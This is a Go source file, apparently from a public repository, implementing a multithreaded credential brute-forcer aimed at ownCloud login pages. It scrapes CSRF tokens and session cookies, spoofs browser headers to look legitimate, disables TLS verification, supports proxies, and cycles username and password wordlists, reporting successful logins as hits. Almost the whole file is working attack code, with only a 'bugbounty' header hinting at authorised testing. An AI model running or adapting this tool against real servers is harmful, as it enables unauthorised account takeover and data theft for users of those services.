250 lines
7.2 KiB
Go
250 lines
7.2 KiB
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"net/http"
|
|
"os"
|
|
"io"
|
|
"time"
|
|
"regexp"
|
|
"strings"
|
|
"net/url"
|
|
"crypto/tls"
|
|
"bufio"
|
|
"sync"
|
|
// "runtime"
|
|
// "encoding/json"
|
|
// "iouti"
|
|
)
|
|
|
|
|
|
|
|
func getCSRFtoken(url string) (token,cookie string) { // + cookie
|
|
|
|
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
|
|
//TODO make it at least a bit look legit (add headers, etc)
|
|
res,err := http.Get(url)
|
|
errHandler(err, "can't connect to server")
|
|
|
|
bodyChar, err := io.ReadAll(res.Body)
|
|
res.Body.Close()
|
|
errHandler(err, "can't read body of CSRF request")
|
|
|
|
body := string(bodyChar)
|
|
rTok, _ := regexp.Compile("data-requesttoken=\".*\"")
|
|
token = rTok.FindString(body)
|
|
token = strings.TrimPrefix(token,"data-requesttoken=\"")
|
|
token = strings.TrimSuffix(token,"\"")
|
|
|
|
//TODO cookie
|
|
// token = urlEncode(token) //No need, token automatically encoded in POST request by net/http
|
|
|
|
rCookie, _ := regexp.Compile("oc.{10}=.{26};|logged_in=no;|_octo=.{28}|oc_sessionPassphrase=.*; e")
|
|
for key,val := range res.Header {
|
|
if key == "Set-Cookie" {
|
|
cookie = strings.Join(rCookie.FindAllString(strings.Join(val, " "), -1), " ")
|
|
cookie = strings.TrimSuffix(cookie,"; e")
|
|
// cookie = strings.Join(val, " ")
|
|
}
|
|
// fmt.Println(key, " ",val)
|
|
}
|
|
|
|
return token, cookie
|
|
}
|
|
|
|
func urlEncode(input string) string {
|
|
return url.QueryEscape(input)
|
|
}
|
|
|
|
func tryPassword(link,proxy,token,cookie,user,pass string) bool { //TODO header
|
|
var client = &http.Client{}
|
|
|
|
if proxy != "" {
|
|
proxyUrl, err := url.Parse(proxy)
|
|
errHandler(err, "wrong proxy url")
|
|
http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)}
|
|
client = &http.Client{
|
|
Timeout: time.Second * 10,
|
|
Transport: &http.Transport{Proxy: http.ProxyURL(proxyUrl),TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
|
|
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
|
return http.ErrUseLastResponse
|
|
},
|
|
}
|
|
} else {
|
|
client = &http.Client{
|
|
Timeout: time.Second * 10,
|
|
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
|
|
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
|
return http.ErrUseLastResponse
|
|
},
|
|
}
|
|
}
|
|
|
|
data := url.Values{
|
|
"user": {user},
|
|
"password": {pass},
|
|
"timezone-offset": {"3"},
|
|
"timezone": {"Europe%2FMinsk"},
|
|
"requesttoken": {token},
|
|
}
|
|
|
|
req, err := http.NewRequest("POST" ,link, strings.NewReader(data.Encode()))
|
|
errHandler(err, "can't create (POST) request")
|
|
|
|
req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7")
|
|
req.Header.Add("Connection", "keep-alive")
|
|
req.Header.Add("Cache-Control", "max-age=0")
|
|
req.Header.Add("sec-ch-ua", "\"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"")
|
|
req.Header.Add("sec-ch-ua-mobile", "?0")
|
|
req.Header.Add("sec-ch-ua-platform", "\"Linux\"")
|
|
req.Header.Add("Upgrade-Insecure-Requests", "1")
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36")
|
|
req.Header.Add("Origin", "null")
|
|
req.Header.Add("Cookie", cookie)
|
|
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
|
|
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
req.Header.Set("Accept-Encoding", "Accept-Encoding: gzip, deflate, br")
|
|
req.Header.Add("Sec-Fetch-Site", "same-origin")
|
|
req.Header.Add("Sec-Fetch-Mode", "navigate")
|
|
req.Header.Add("Sec-Fetch-User", "?1")
|
|
req.Header.Add("Sec-Fetch-Dest", "document")
|
|
req.Header.Add("Accept-Language", "en-US,en;q=0.9")
|
|
req.Header.Add("bugbounty", "owncloud_bruteforcer")
|
|
|
|
|
|
|
|
response, err := client.Do(req)
|
|
errHandler(err, "can't create (POST) request")
|
|
|
|
defer response.Body.Close()
|
|
|
|
// Print response body
|
|
// body, _ := io.ReadAll(response.Body)
|
|
// fmt.Println(string(body))
|
|
|
|
|
|
// We detect successful login with 303 redirect Location header. If it rederects to .*/apps/files then we got right login. I guess exception - 2FA //TODO
|
|
var location303 string
|
|
for key,val := range response.Header {
|
|
|
|
if key == "Location" {
|
|
location303 = strings.Join(val," ")
|
|
}
|
|
}
|
|
if strings.Contains(location303,"apps/files") {
|
|
return true
|
|
} else {
|
|
return false
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
func errHandler(err error, message string) {
|
|
if err != nil {
|
|
fmt.Printf("%s: %s\n", message, err)
|
|
os.Exit(1)
|
|
}
|
|
}
|
|
|
|
|
|
var waitGroup sync.WaitGroup
|
|
|
|
func main() {
|
|
options,err := ParseOptions()
|
|
errHandler(err,"Error parsing options")
|
|
|
|
//for GET request (func getCSRFtoken)
|
|
if options.Proxy != "" {
|
|
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
|
|
proxyUrl, err := url.Parse(options.Proxy)
|
|
errHandler(err, "wrong proxy")
|
|
http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)}
|
|
}
|
|
|
|
|
|
//TODO add check for owncloud page
|
|
|
|
var usernames *bufio.Scanner
|
|
// fmt.Println(options.UserFile,options.PassFile)
|
|
// fmt.Println(options)
|
|
|
|
if options.UserFile != "" {
|
|
userFile,err := os.Open(options.UserFile)
|
|
errHandler(err,"Can't read username wordlist")
|
|
|
|
usernames = bufio.NewScanner(userFile)
|
|
usernames.Split(bufio.ScanLines)
|
|
}
|
|
|
|
|
|
// main loop
|
|
if options.UserFile != "" {
|
|
for usernames.Scan() {
|
|
|
|
user := usernames.Text()
|
|
|
|
fmt.Println("User -",user)
|
|
|
|
options.bruteforce(user)
|
|
// runtime.GC() //TODO might a hack to free memory, need to learn more where it's allocated. My guess it's channel. P.S. Yep, it is
|
|
|
|
}
|
|
} else {
|
|
options.bruteforce(options.User)
|
|
}
|
|
|
|
//TODO progress bar would be nice. Or some counter of requests
|
|
|
|
}
|
|
|
|
func (options Options) bruteforce(user string) {
|
|
|
|
passFile,err := os.Open(options.PassFile)
|
|
errHandler(err,"Can't read password wordlist")
|
|
passwords := bufio.NewScanner(passFile)
|
|
passwords.Split(bufio.ScanLines)
|
|
|
|
// pass := make(chan string, 15000001) // rockyou - 14,344,391
|
|
pass := make(chan string, 1000) // primarly we need big enough buffer to prevent slowdown for workers, so we kinda expect less then 1000 workers/threads
|
|
|
|
go func() {
|
|
for passwords.Scan() { //TODO BUG constantly rereads file to write it to channel. Better way would be to write it in string/[]string var and then from it write to channel. Doubles memory but we don't rely on reading file from HDD which might be busy slowing down burteforce
|
|
pass <- string(passwords.Text())
|
|
}
|
|
close(pass)
|
|
}()
|
|
|
|
var foundPass = false
|
|
// for _ := range options.Threads {
|
|
for i:=0; i<options.Threads && ! foundPass; i++ {
|
|
// start workers
|
|
// TODO iterate over pass channel
|
|
// for password := range pass {
|
|
// fmt.Println("try - ",password)
|
|
|
|
waitGroup.Add(1)
|
|
go func() {
|
|
for ! foundPass {
|
|
token,cookie := getCSRFtoken(options.URL)
|
|
password1,channelClosed := <-pass
|
|
if ! channelClosed {foundPass = true}
|
|
|
|
if tryPassword(options.URL,options.Proxy,token,cookie,user,password1) {
|
|
fmt.Printf("[HIT] %s:%s\n",user,password1)
|
|
foundPass = true
|
|
// close(pass)
|
|
//TODO stop bruteforce for user
|
|
}
|
|
}
|
|
// if foundPass {fmt.Println("we already have pass")}
|
|
|
|
defer waitGroup.Done()
|
|
}()
|
|
// }
|
|
}
|
|
waitGroup.Wait()
|
|
|
|
}
|